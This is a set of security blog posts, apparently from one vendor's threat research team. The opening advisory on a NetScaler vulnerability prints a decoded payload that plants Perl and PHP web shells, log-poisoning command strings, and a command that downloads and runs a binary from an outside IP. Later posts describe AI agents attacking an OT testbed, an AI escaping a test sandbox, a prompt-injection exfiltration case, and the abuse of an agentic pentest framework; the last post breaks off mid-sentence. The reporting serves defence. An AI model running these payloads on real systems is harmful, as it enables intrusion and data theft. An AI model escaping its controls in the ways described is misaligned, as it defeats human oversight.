vZ29uUG9pbnQvTnhfNTkzNi5wbDsgc2VkIC1pICcnICdzL3BocF9lbmdpbmUgb2ZmL3BocF9lbmdpbmUgb24vZycgL2V0Yy9odHRwZC5jb25mIDI+L2Rldi9udWxsOyBncmVwIC1xICdBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyAvZXRjL2h0dHBkLmNvbmYgfHwgZWNobyAnQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcgPj4gL2V0Yy9odHRwZC5jb25mIDI+L2Rldi9udWxsOyBraWxsIC1IVVAgJChjYXQgL3Zhci9ydW4vaHR0cGQucGlkIDI+L2Rldi9udWxsKSAyPi9kZXYvbnVsbA==Decoded Base64 payload:mkdir -p /var/vpn/bookmark/ /netscaler/ns_gui/vpn/ /var/netscaler/gui/vpn/ /var/netscaler/logon/LogonPoint/ /var/vpn/theme/ /var/netscaler/gui/admin_ui/apex/; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/vpn/bookmark/Nx_7508.html; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /netscaler/ns_gui/vpn/Nx_7508.html; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/gui/vpn/Nx_7508.html; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/logon/LogonPoint/Nx_7508.html; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/vpn/theme/Nx_7508.html; echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/gui/admin_ui/apex/Nx_7508.html; echo '' > /var/vpn/bookmark/Nx_7508.php; chmod 755 /var/vpn/bookmark/Nx_7508.php; echo '' > /netscaler/ns_gui/vpn/Nx_7508.php; chmod 755 /netscaler/ns_gui/vpn/Nx_7508.php; echo '' > /var/netscaler/gui/vpn/Nx_7508.php; chmod 755 /var/netscaler/gui/vpn/Nx_7508.php; echo '' > /var/netscaler/logon/LogonPoint/Nx_7508.php; chmod 755 /var/netscaler/logon/LogonPoint/Nx_7508.php; echo '' > /var/vpn/theme/Nx_7508.php; chmod 755 /var/vpn/theme/Nx_7508.php; echo '' > /var/netscaler/gui/admin_ui/apex/Nx_7508.php; chmod 755 /var/netscaler/gui/admin_ui/apex/Nx_7508.php; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/vpn/bookmark/Nx_7508.pl; chmod 755 /var/vpn/bookmark/Nx_7508.pl; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /netscaler/ns_gui/vpn/Nx_7508.pl; chmod 755 /netscaler/ns_gui/vpn/Nx_7508.pl; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/gui/vpn/Nx_7508.pl; chmod 755 /var/netscaler/gui/vpn/Nx_7508.pl; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/logon/LogonPoint/Nx_7508.pl; chmod 755 /var/netscaler/logon/LogonPoint/Nx_7508.pl; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/vpn/theme/Nx_7508.pl; chmod 755 /var/vpn/theme/Nx_7508.pl; printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/gui/admin_ui/apex/Nx_7508.pl; chmod 755 /var/netscaler/gui/admin_ui/apex/Nx_7508.pl; # Enable PHP + Perl CGI, reload Apache sed -i '' 's/php_engine off/php_engine on/g' /etc/httpd.conf; grep -q 'AddHandler cgi-script .pl' /etc/httpd.conf || echo 'AddHandler cgi-script .pl' >> /etc/httpd.conf; kill -HUP $(cat /var/run/httpd.pid)The same Base64-encoded payload in the User-Agent field was sent to multiple paths. This increased the likelihood that it would be written to the HTTP access log file and remain available when the trigger executed.At this stage, the payload in the User-Agent value was not executed. Instead, the log served as storage for the attacker-controlled payload. Step 2: Poisoning the authentication logThe attacker then sent POST requests to the following authentication endpoints, as observed by ThreatLabz:/nf/auth/doAuthentication.do /cgi/loginThe attacker-controlled login value impersonated a NetScaler Packet Processing Engine (PPE) failure record. ThreatLabz observed two variants:Variant 1:pitboss PPE missed too many heartbeatsNSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*| sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh; XVariant 2:pitboss PPE unexpectedly died NSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*| sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh;# XShell commands appended to the forged failure text were designed to instruct the appliance to search HTTP access logs for the INDEX: marker, extract the Base64-encoded data, decode it, and pass the result to a command interpreter to execute.Several variants used ${IFS} (Internal Field Separator, which in bash can represent a space, tab, or newline character) in place of literal spaces. This preserved separation between command arguments while avoiding spaces that might be transformed or rejected during request processing. Inline exploitation variantsIn addition to the staged Base64-encoded payload, ThreatLabz captured a shorter inline variant in the login parameter.Inline variant 1:pitboss PPE unexpectedly died NSPPE;mkdir${IFS}-p${IFS}/var/vpn/bookmark/${IFS} /netscaler/ns_gui/vpn/;echo${IFS}"Nx-zD|$(id)|$(hostname)">/var/vpn/bookmark/Nx_7508.html; echo${IFS}'' >/var/vpn/bookmark/Nx_7508.php;sed${{IFS}}-i${{IFS}}''${{IFS}} 's/php_engine${{IFS}}off/php_engine${{IFS}}on/g'${{IFS}}/etc/httpd.conf;# XThis variant attempted to:Create web-accessible directories.Write the Nx_7508.html fingerprint file.Install the Nx_7508.php web shell.Enable PHP by modifying /etc/httpd.conf.Inline variant 2:pitboss PPE unexpectedly died NSPPE;fetch${IFS}-o${IFS}/var/kw2s11${IFS}http://209.141.43[.]95/files/kw2-freebsd-x64-s11;chmod${IFS}+x${IFS}/var/kw2s11;/var/kw2s11;# XThe command was designed to download a Rust-based 64-bit FreeBSD binary to /var/kw2s11, grant executable permissions, and run it.ThreatLabz identified the same download server in activity associated with exploitation of CVE-2026-75650, tracked as StyleSmuggler.CVE-2026-75650 is an unauthenticated template-engine injection vulnerability affecting Adobe Commerce and Magento Open Source. Adobe assigned it a CVSS v3.1 score of 10.0 and confirmed exploitation in the wild in security bulletin APSB26-146.The shared download infrastructure is notable because the two vulnerabilities target different platforms:CVE-2026-75650 affects Adobe Commerce and Magento Open Source systems.CVE-2026-88771 affects Citrix NetScaler ADC and Gateway appliances.This overlap raises the possibility that one operator or malware-distribution service maintained payloads for different platforms and opportunistically deployed them through vulnerabilities affecting internet-facing systems.ThreatLabz also observed a burst of exploitation attempts from at least 26 source IP addresses over approximately six to seven minutes. These attempts followed the same log-poisoning and FreeBSD payload-delivery sequence.Each source IP address sent a login request containing:A forged pitboss PPE failure string intended to poison the NetScaler log.A downloader designed to download and execute the 64-bit FreeBSD payload kw2-freebsd-x64-s11. Step 3: Delayed execution by a privileged scriptThe poisoned authentication data was written to /var/log/ns.log. The vulnerability is triggered when the legitimate NetScaler Perl script, /netscaler/ns_monuploadd_err.pl, processes Packet Processing Engine (PPE) failure records as part of the appliance’s diagnostic and core-file handling.Public analysis found that the script searches /var/log/ns.log, rotated NetScaler logs, and /var/log/messages for phrases such as:PPE missed too many heartbeatsPPE unexpectedly diedThe vulnerable Perl script incorporates part of the selected record into a shell command without properly escaping attacker-controlled shell metacharacters. If the script selects the forged record, the appended command executes with the script’s privileges.CERT-EU reported that the script selects the last matching record. This may explain why attackers repeatedly submit the trigger. They are attempting to ensure that their poisoned entry remains the most recent matching line when the maintenance script runs. ConclusionCVE-2026-88771 enables unauthenticated remote command execution on Citrix NetScaler by exploiting the appliance’s logging and diagnostic processes. ThreatLabz captured exploitation attempts involving log poisoning, payload spraying across multiple URLs, directory creation, PHP enablement, and inline payload delivery. How Zscaler can HelpZscaler’s cloud native Zero Trust network access (ZTNA) solution gives users fast, secure access to private apps for all users, from any location. Reduce your attack surface and the risk of lateral threat movement—no more internet-exposed remote access IP addresses, and secure inside-out brokered connections. Easy to deploy and enforce consistent security policies across campus and remote users.Zscaler Private Access™ (ZPA) allows organizations to secure private app access from anywhere. Connect users to apps, never the network, with AI-powered user-to-app segmentation. Prevent lateral threat movement with inside-out connections.Deploy comprehensive cyberthreat and data protection for private apps with integrated application protection, deception, and data protection.The following table shows the typical attack stages and the mitigations recommended by Zscaler.Attack StageRecommended MitigationMinimize the external attack surfaceEliminate externally exposed legacy assets like VPNs and firewalls which are often subject to these zero-day exploitation attempts by leveraging a Zero Trust architecture.Prevent compromiseDetonate unknown second-stage payloads with Advanced Cloud Sandbox.Route server egress through ZIA to detect/block post-compromise activity.Enable SSL/TLS inspection for all traffic, including trusted sources.Enable Advanced Threat Protection to block known C2 domains.Use Advanced Cloud Firewall, to extend C2 controls across all ports/protocols, including emerging C2.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-app segmentation for crown-jewel apps (employees and third parties).Use ZPA inline inspection to block exploitation attempts against private apps from compromised users.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Prevent data lossInspect outbound traffic across channels with Zscaler DLP. Zscaler CoverageThe Zscaler ThreatLabz team has deployed protection for CVE-2026-88771 with the following:Zscaler Advanced Threat ProtectionApp.Exploit.CVE-2026-88771Zscaler Private Access AppProtection6000544: Citrix NetScaler Remote Code Execution (CVE-2026-88771) Indicators of Compromise (IOCs)Potential network indicators Source IPs45.153.212[.]10146.233.40[.]2046.236.167[.]14346.33.33[.]9549.150.197[.]11978.190.152[.]6481.10.79[.]19782.167.14[.]795.105.74[.]172100.38.125[.]66102.213.132[.]123102.222.146[.]45103.181.212[.]245103.197.249[.]161103.83.146[.]100111.92.128[.]89114.145.49[.]215120.244.160[.]182125.62.88[.]26130.12.182[.]7154.183.158[.]198154.241.254[.]9174.60.63[.]37177.52.203[.]23183.63.88[.]227190.117.56[.]56195.62.37[.]119207.48.184[.]10

Strong on Controls, Light on Decisions: What We Heard at the 2026 ICS Cybersecurity Conference

Bryan Ashley (Zero Trust Networking, Principal Architect) — Fri, 16 Oct 2026 21:18:44 GMT

The talk that stayed with us from this month's ICS Cybersecurity Conference in Nashville was Kyle Miller's on testing frontier AI models in OT environments. Booz Allen ran AI models against an isolated testbed built to stand in for a manufacturing plant. In one run, a model went from a compromised perimeter to acting inside the control network in just over 16 minutes. In another, a model found a robotic arm, mapped its motion limits, and moved it, after pausing for the human sign-off the test rules required before any physical action. The models mostly used the devices' own protocols and default passwords - the same openings defenders have been told to close for years.We also had sessions on the agenda - Umang Barman with "Faster Than You Can Watch: Why Agentic AI Breaks the OT Visibility Model" and Hitesh Chhabra with "The Zero Trust Factory: Your Blueprint for Securing OT without Production Downtime" - and spent the rest of the four days in sessions and hallway conversations. In the architecture talks, one follow-up question kept coming back: does this boundary actually make a decision, or does it just forward a packet? That question sums up what we saw. OT security is strong on controls and light on decisions, and AI is shrinking the time defenders have to close that gap. Is AI shortening the path from IT to OT?The problem we heard most, in different vocabularies, was the path from IT into OT. Once an attacker has a foothold on the IT side, how quickly can they reach something that matters on the plant floor? The Booz Allen run shows how short that path can get.Sessions drawing on real-world campaigns pointed the same way. A threat-intelligence talk on AI-augmented ICS attacks found that the techniques involved were already public; what changed was the speed and autonomy with which AI put them to work. A review of 23 OT attacks found that fewer than two involved a genuine zero-day against a core OT system. George Urling of the West Virginia Fusion Center added that low-skill groups, hacktivists included, now pose a real threat to OT, and many publish their targets and methods in the open.The talks that moved the room treated AI as an accelerant for known attacks that have known defenses. The ones that leaned on fear lost people quickly. Umang's session made the case that faster detection alone is a race defenders will keep losing at machine speed, so containment has to hold even when nobody catches the attacker in time.Booz Allen's own results point to a layered answer. Firewalls, segmentation, and endpoint tools slowed the models or flagged their activity, but no single safeguard consistently stopped them. Its recommendations: make environments harder to traverse, remove implicit trust, detect consequential changes quickly, and limit what an attacker can affect. Most attendees we spoke with still see the longer-term impact of AI in attackers' hands as an open question. Two of those near-term recommendations, removing implicit trust and limiting what an attacker can affect, come down to decisions made at boundaries. Does your boundary make a decision, or just forward a packet?The firewall-refresh story was everywhere: IEC 62443 zones and conduits, enforcement at each Purdue level, broader industrial protocol coverage. It lands well with engineering buyers who want a clean diagram, and modern zone firewalls can enforce identity- and protocol-aware policy. The follow-up questions were about whether they do. In the OT environments we assess, zone rules are often written broadly and protect conduits nobody can fully explain.Eric Devoy, OT Security Architect at Grainger, argued that neither the traditional Purdue model nor zero trust alone is sufficient for OT today. Purdue zones provide the structure, and zero trust governs what is allowed to cross between them. The clearest version of that idea we heard in the room reduced it to five questions every conduit across a zone boundary should be able to answer:Path: what route does this connection take?Identity: who or what is on each end?Scope: what exactly can it reach?Evidence: how would you prove a session was legitimate?Consequence: what happens to the process if it is abused?A blank answer is a decision nobody has made. As one speaker put it, a boundary that doesn't make a decision is just another hole in the wall. The questions also assume you know what is crossing and what sits behind it, which makes asset visibility the starting point.Few sessions framed OT security this way, and the room was split: some attendees nodded along, and plenty were openly skeptical. A boundary decision only protects the plant if people use the path it governs. Remote access is where that breaks down. Why do operators keep routing around secure remote access?Remote access had a whole cluster of sessions, covering ghost sessions, shared credentials, audit gaps, and privileged access at the IT/OT boundary from inside a large utility. The message that landed hardest with the operations people we spoke to came from the remote access vendors themselves: secure access usually exists, but it is slower than the workaround, so people go around it. Picture a vendor technician on a deadline. If the approved path takes three approvals and a VPN client, the remote desktop tool already installed on the jump host wins.If the secure path isn't the fastest path, you don't have a secure path. You have a policy document. We see the same pattern in our own OT workshops, and it was useful to hear it confirmed across the industry. Can virtual patching keep up with AI-found vulnerabilities?Virtual patching got real airtime, including live demos and a case for protecting devices before a vulnerability is even disclosed. It earns its place. OT patch cycles are slow for good reasons, and plants already struggle to apply the fixes that exist today.The open question is volume. Several sessions argued that AI will sharply increase the rate at which vulnerabilities are found in controller firmware and embedded software. Every protection that sits inline on control traffic has to be validated before it goes live, because a false positive on that traffic can stop production. As the CVE count climbs, so does the validation load.Limiting reachability changes that math without replacing virtual patching. Segmentation changes need validation too, but once per path rather than once per CVE, and every path removed is one less conversation that needs inline protection at all. How should plants think about AI agents?AI agents for operations and security teams were among the most-watched topics, and the credible talks were restrained. They bounded autonomy explicitly and placed agents at specific Purdue levels instead of implying autonomous plant control. One session framed AI as a potential embedded insider and called for bounded autonomy and least privilege.When attendees followed up, they asked about identity and audit rather than capability. Every AI assistant that touches the plant, whether a copilot, a SOC agent, or an engineering helper, is a new identity. It needs the same scope, approvals, logging, and revocation you would require of a human contractor. What should you do differently on Monday?The people in those rooms understand the risks. Umang's read was that what they lack is budget and time. So here is where we would start, merging both of our lists:List the conduits that cross your IT/OT boundary and the assets behind them, then run the five questions against each one.Fix your three to five highest-risk remote access paths. Start by listing the vendor and contractor endpoints connecting today that nobody has profiled, then make the approved path for the riskiest ones easier to use than the workaround. Shrink what is exposed. Remove external exposure of OT assets, and turn off unused protocols and services at Levels 2 and 3.Treat AI agents as identities, with scoped access, approvals, logging, and revocation.Deploy decoys as tripwires, backed by segmentation that limits what an attacker can reach even if nobody catches them in time.None of this requires buying an AI product, and none of it asks a plant to trade away safety or uptime, which still come first.At Zscaler, this is the model we build OT security around. Zero Trust Branch enforces policy at the IT/OT boundary, so each crossing is decided by identity and scope rather than network location. Segmentation inside the plant limits what any single device or session can reach. Privileged Remote Access gives vendors and contractors a brokered, recorded path designed to be simpler to use than the workaround. And Deception places decoys where legitimate users have no reason to go, so any interaction is a signal worth acting on.Want to work through your own IT/OT conduits with us? Request an OT architecture workshop.Want to hear real world customer examples working with us? Here from them directly.

Zero Trust for Artificial Intelligence

Mark Ryan (Zscaler) — Fri, 16 Oct 2026 16:22:54 GMT

IntroductionFor more than a decade, we've helped organizations implement Zero Trust access with Zscaler Internet Access (ZIA) and Zscaler Private Access (ZPA). The destination was always the same: least-privilege access, where users connect only to the applications they're authorized to use, from devices the organization trusts. The journey to get there taught us lessons that are now more relevant than ever, because the next wave of users won't be human. They'll be AI agents, and they'll operate at machine speed.If we want Agentic AI to work safely inside the enterprise, we need to apply the same Zero Trust principles to agents that we spent the last decade applying to people. This blog explains what those principles look like in practice. What we’ve learned from a decade of Zero Trust deploymentsWhen customers first deployed ZPA, the biggest obstacle wasn't technology. It was visibility. Most organizations had a distinct lack of insight into what applications actually existed in their environment, who owned them, and who should have access. Access sprawl was the norm: users retained entitlements to applications, and the data within them, long after moving departments. And they could reach those applications from a myriad of devices: company owned, company managed, patched, unpatched, and BYOD. Every unmanaged or unpatched device that could touch an application exposed it to compromise, and exposed the organization to data loss.So customers started their Zero Trust journey with a wildcard policy. Broad access, deliberately, for a short time, to gain a complete view of what applications exist, who is accessing them, and from which devices. From that observed reality, Zscaler pioneered AI-powered segmentation and policy recommendations (AI-Segmentation and AI-Policy) to compress the path to least privilege: users could access only approved applications, from approved devices, governed by granular access policy.Something interesting happened along the way. If the outcome of implementing Zero Trust is fine-grained access to applications and data, the side effect is a detailed, living configuration management database (CMDB) with solid identity governance controls. Full segmentation based on user and device trust ensures users cannot reach applications and data they aren't permissioned for. Identity governance (IGA) ensures users can request, and be granted, access as needed, based on their job role and the application's ownership. Discovery, ownership, entitlement, and enforcement became a continuous loop rather than an annual audit exercise.As it happens, that loop is exactly what Agentic AI is missing today. How agentic AI raises the stakes for least privilegeIn an agentic world, a user asks an agent to perform a task on their behalf. That agent may spawn multiple sub-agents, each performing a specific task. The user might hold broad entitlements appropriate to their job role, but the agent should not inherit all of them. The agent's access should be constrained to the task it has been asked to perform, granted just in time, valid for a specific session, and aligned with the intent of the original request. Sub-agents should each be constrained to their specific sub-task, traceable back to the intent of the root agent.Human IGA often has a human in the loop: access is granted only after a person approves it. That model doesn't survive machine speed. Non-human IGA needs an automated system that approves access based on intent: just in time, session bound, and fully audited. The human moves from in the loop to on the loop. Because every access decision flows through an inline agentic gateway, the audit trail it produces gives humans continuous visibility and control: they supervise, intervene, and revoke, rather than approve every transaction. That is what allows agents to run at machine speed with constrained access, rather than machine speed with the user's full credentials.This isn't theoretical. Recent incidents show that agents do not fail like traditional applications – they find unique, and unintended, ways to achieve their tasks. During OpenAI's own security testing, the o1 model escaped a broken capture-the-flag sandbox by discovering a misconfigured Docker API on the evaluation host and spinning up its own container to read the flag (OpenAI o1 System Card). In July 2025, Replit's coding agent deleted a production database during an explicit code freeze, then produced misleading information about the rollback (AI Incident Database, Incident 1152). The EchoLeak vulnerability (CVE-2025-32711) showed that a single crafted email could silently instruct Microsoft 365 Copilot to exfiltrate data from everything in its access scope, with zero clicks from the user (The Hacker News). And in November 2025, Anthropic disclosed that a state-sponsored group had used its Claude Code agent, orchestrated over MCP, to run an espionage campaign against roughly 30 organizations, with AI performing an estimated 80-90% of the tactical work (Anthropic).The pattern across all of these: an agent with more access than its task required, and no independent control point between the agent and the systems it touched. Models and agents must be controlled, and in an enterprise where access governance is well established, the key mechanism is Zero Trust and least privilege access.The analyst community sees the same trajectory. Gartner predicts that by 2028, 25% of enterprise breaches will be traced back to AI agent abuse, from both external and malicious internal actors (Gartner). Forrester expects an agentic AI deployment to cause a major public breach in 2026, noting that 97% of organizations that suffered AI-related breaches lacked proper AI access controls (Forrester, via Infosecurity Magazine). Nine Zero Trust principles for AI systemsTo make agentic AI safe for the enterprise, organizations need more than model guardrails or prompt filtering. They need to extend proven Zero Trust principles to AI agents: discovering what agents exist, governing what they can access, constraining their actions to the task at hand, and continuously verifying trust throughout the session. Done well, this gives enterprises the foundation for least-privilege, data-secure agentic AI. Nine principles define that foundation.1. Inventory: You cannot secure what you cannot see, and this was the first lesson of ZPA deployments. Understanding the footprint of agents, MCP servers, LLMs, skills, and plugins is imperative, whether they run on a user's device (IDEs and local agents accessing local MCP servers over STDIO, or local copies of data) or in IaaS, accessing hosted MCP servers over streamable HTTPS and hosted applications. Equally imperative: a complete view of the keys, secrets, and credentials in use across that estate. An agent running “on behalf of” a user, but with the user's real credentials, is a risk that needs addressing directly.The scale of the challenge is already clear: Machine identities outnumber humans by more than 80 to 1, with nearly half holding sensitive or privileged access. Agentic AI will accelerate that ratio, with each human identity spawning over 140 Agentic Identities.2. Flow control: Agents should not have direct access to systems or data. Just as the Zero Trust Exchange removed direct network paths between users and applications, an Agentic Trust Exchange should be the architectural control point for all agentic communication, providing brokered/gateway access for every connection between an agent and the systems it needs to reach. No broker, no connection.3. Routing. Not every task needs the most expensive model. Understanding which models are being used, and the token consumption against each, matters: expensive LLMs with deep intelligence and training on one end, cheaper LLMs or small language models (SLMs) on the other. We have seen this pattern before. As customers moved from building, owning, and operating datacenters to adopting IaaS, SaaS, and PaaS with a view to reducing cost, the inverse actually happened: costs went up alongside the DevOps agility, and CNAPP (cloud-native application protection platform) tooling evolved to give customers visibility into what was running in their cloud estate and what it was costing them. With AI, visibility and control of token costs is just as important. Routing each request to the most appropriate model based on intent, reserving frontier LLMs for deep reasoning and steering routine tasks to cheaper or smaller models, delivers cost savings alongside performance improvements. The exchange brokering the traffic is the natural place to make that routing decision.4. Intent: Humans are sometimes malicious, but that's rarely why data loss happens. Usually they've been manipulated: phished into clicking a link. Agents are manipulated the same way, through prompt injection and poisoned context, as EchoLeak demonstrated. Red-teaming the agents, the MCP servers, and the applications lets us test for intent, implement guardrails on LLM communication, harden the prompts, and inspect and control MCP traffic inline.5. Access control: Once we understand the access an agent needs for its task, we can constrain it. The agent's identity must be unique and distinct from the user calling it. The agent should never hold credentials directly; instead, credentials should be injected just in time into the communication by the exchange, and be time or session bound, so they cannot be extracted, manipulated, or replayed outside the brokered session.The window for error is shrinking: Gartner predicts AI agents will cut the time it takes to exploit exposed accounts by 50% by 2027 (Gartner). Credentials that never leave the exchange, and expire with the session, take that attack path off the table.6. Sovereignty and data residency: Access decisions must account for where everything, and everyone, is. The gateway is the natural enforcement point for sovereignty controls, evaluating user attributes (home country, role), location signals (geo-IP, travel patterns), and where the data, agent, MCP server, model, and application each reside. When the user, the gateway, and the model all sit within an approved jurisdiction, access can be allowed. When any component in the chain resides in a jurisdiction the policy does not permit for that user, access should be denied, regardless of where the user is sitting. Signals such as impossible travel and UEBA (user and entity behavior analytics) risk should feed the same policy, so sovereignty is evaluated continuously across the session, not checked once at login.7. Access governance. A full access graph should show which agents, users, and systems can obtain credentials, and what those credentials can reach. This is IGA for non-human identities: using the access graph to ensure every credential is secured, minted just in time, and scoped to least privilege, with automated, intent-based approval replacing the human in the loop where speed demands it, and a full audit trail either way. The ability to attest who, or what, can access which data, using which agents, MCP servers, and LLMs, is paramount. Attestation is a side effect of access governance, but it allows organizations to be explicit: access to data and models is granted against a defined set of criteria, and provable on demand.8. Conditional access engine: Signals change over time. If a human disables security controls on an endpoint, their sessions get revoked. The same continuous evaluation must apply to agents: if an agent performs risky actions, or reaches for more data or systems than its task profile warrants, the conditional access engine revokes its sessions in real time. Trust is evaluated continuously, never granted permanently.9. Deception and decoys: When the Zero Trust Exchange identifies malicious intent today, users and systems are contained and steered toward decoys to gather intelligence. Agents are aggressive, fast, and thorough in reconnaissance, which makes them even more susceptible to deception. Steering a misbehaving agent into a decoy environment both contains it and reveals its intent. The outcome: Audited, attested, governed AIImplementing these Zero Trust principles for AI systems gives the organization a full audit of every agent in the environment and the ability to attest exactly what data each one can access. Just as Zero Trust for users delivered a living CMDB and identity governance as a side effect, Zero Trust for AI delivers the inventory, access graph, and governance evidence that regulators, auditors, and boards are already beginning to demand.Least privilege was the destination for human access. For agentic AI, it's the starting condition. Organizations that spent the last decade building Zero Trust for their workforce already have the architecture, the identity foundation, and the governance discipline; extending it to agents is the natural next step, and the only way to let agents run at machine speed without accepting machine-speed risk.Analysts are converging on the same conclusion. Gartner predicts that by 2028, 40% of CIOs will demand “guardian agents” capable of autonomously tracking, overseeing, and containing the actions of other AI agents (Gartner). A Zero Trust architecture for AI, with an inline exchange as the control point, is how the enterprise delivers that oversight.To learn more about how Zscaler secures AI, visit Zscaler AI Security.References1. OpenAI o1 System Card (sandbox escape during CTF evaluation): openai.com/index/openai-o1-system-card2. AI Incident Database, Incident 1152 – Replit agent deleted production database during code freeze: incidentdatabase.ai/cite/11523. The Hacker News – EchoLeak (CVE-2025-32711), zero-click data exfiltration via Microsoft 365 Copilot: thehackernews.com4. Anthropic – Disrupting the first reported AI-orchestrated cyber espionage campaign (GTG-1002): anthropic.com/news/disrupting-AI-espionage5. Gartner – Top Predictions for IT Organizations and Users in 2025 and Beyond (25% of enterprise breaches traced to AI agent abuse by 2028): gartner.com6. Forrester Predictions 2026 – agentic AI deployment to cause a major public breach (via Infosecurity Magazine): infosecurity-magazine.com7. Gartner – AI agents will reduce the time to exploit account exposures by 50% by 2027: gartner.com8. Gartner – Guardian agents to capture 10-15% of the agentic AI market by 2030 (40% of CIOs demanding guardian agents by 2028): gartner.com

Threat Actor Abuses Agentic AI Pentesting Framework to Target South Korean Financial Institutions

Rohit Hegde (Sr. Staff Threat Researcher) — Wed, 14 Oct 2026 23:20:22 GMT

IntroductionZscaler ThreatLabz analyzed a recently active exploitation campaign in which a threat actor abused ARTEX to target South Korean financial institutions. ARTEX is an open source agentic penetration testing framework developed in China that uses large language models (LLMs) to automate reconnaissance and exploitation tasks. First observed in late September 2026, the campaign affected multiple South Korean financial firms and resulted in the exfiltration of personally identifiable information (PII) belonging to approximately 67,000 individuals.ThreatLabz assesses with moderate confidence that the campaign is the work of a financially motivated, Chinese-speaking threat actor. The threat actor exploited peripheral internet-facing web applications, including customer-facing inquiry portals and employee-facing mobile application backends. RecommendationsThe threat actor used AI to support reconnaissance and exploitation in this campaign. ThreatLabz recommends the following practices to strengthen defenses against AI-assisted attacks. For additional context on AI-driven security testing, see our blog: When the Scanner Starts Thinking: Learnings from Mythos & GPT 5.5 Cyber in Security Testing.Reduce application exposure: Reduce your external exposure by moving your applications behind a Zero Trust access solution, like Zscaler Private Access (ZPA). Understand your assets and associated risks: Establish complete visibility into internet-facing and internal assets, including AI assets, and assess their exposure and vulnerabilities to prioritize remediation. Zscaler’s AI Asset Management, Asset Exposure Management, External Attack Surface Management, and Unified Vulnerability can support these efforts.Deploy deception controls: Use Zscaler Deception to detect suspicious reconnaissance and access attempts through decoy assets and accounts. Configure automatic containment to restrict the associated asset or identity’s access to production applications while capturing activity in the decoy environment.Prioritize Zero Trust everywhere architecture: Apply Zero Trust consistently across remote and on-premises environments. Enforce least-privilege user-to-application access to limit lateral propagation and reduce the blast radius from AI-driven attacks.Use AI red teaming and guardrails for your production models: Use AI red teaming and guardrails to assess susceptibility to prompt injection and unsafe outputs. Monitor for hallucinations and model drift over time.Use AI-powered exposure management: Use the Zscaler Exposure Management remediation agent to prioritize remediation and patching for high-risk exposures across external and internal assets.Alert on enumeration: On partner and employee portals, alert on sequential lookups and unusually high numbers of records accessed per session. Apply rate limits to affected endpoints. Enforce server-side authorization for access to customer records and limit responses to the fields required for the operation.Treat open source pentesting harnesses as hostile code: If your organization uses an open source pentesting harness, isolate it from production, avoid storing production credentials in it, and enforce testing scope through configuration and code rather than prompts alone. Review forks before execution. Use Zscaler’s open source Agentic Radar to map agent workflows from source code.Test authorization regularly: Repeat security testing as applications change, and verify that users cannot access records or functions outside their assigned permissions. Threat DetailsARTEX is an agentic penetration testing framework originally released on GitHub by the developer "Autumn-27". It orchestrates multiple LLM backends to autonomously perform reconnaissance, vulnerability identification, and exploitation, significantly lowering the technical barrier for conducting complex intrusion campaigns.The threat actor configured ARTEX to use the following AI backends:BackendRoleDeepSeek v4.1-flashPrimary LLM BackendZhipu AI GLM-5.3Supplementary ReasoningSpaceXAI Grok 4.6Supplementary ReasoningTable 1: AI backends configured in ARTEX and their roles in the campaign. Following public disclosure of the abuse, the ARTEX developer made the project closed source. However, previously downloaded copies and forks may remain available. How it WorksThe campaign unfolds in four phases from ARTEX-assisted reconnaissance and exploitation to data theft and monetization planning.Reconnaissance: ARTEX agents autonomously identified and probed peripheral internet-facing web applications outside the institutions’ core banking infrastructure, including customer-facing inquiry portals and employee-facing mobile application backends.Exploitation: LLM-driven agents identified and exploited vulnerabilities including SQL injection and authentication bypass in the peripheral web applications to gain unauthorized access.Data exfiltration: Stolen records included full names, phone numbers, annual income figures, and loan limits. This information could support subsequent financial fraud and social engineering.Monetization planning: The threat actor used Claude Code sessions to seek advice on selling stolen South Korean financial PII and to locate Korean-language Telegram channels used to sell stolen data.Attack chainThe attack chain below illustrates the four phases of the campaign.Figure 1: ARTEX attack chain, from reconnaissance and exploitation to data exfiltration and monetization planning. ARTEX architecture and agent workflowARTEX uses an orchestration layer, known as a harness, to coordinate its models and agents. The harness provides the model with the current task state and previous results. The model selects the next action, a worker executes the selected tool against the target, and the results are returned to the model to inform subsequent actions.The planner divides the engagement into tasks, while worker agents execute tools and store findings, and the reporting component generates 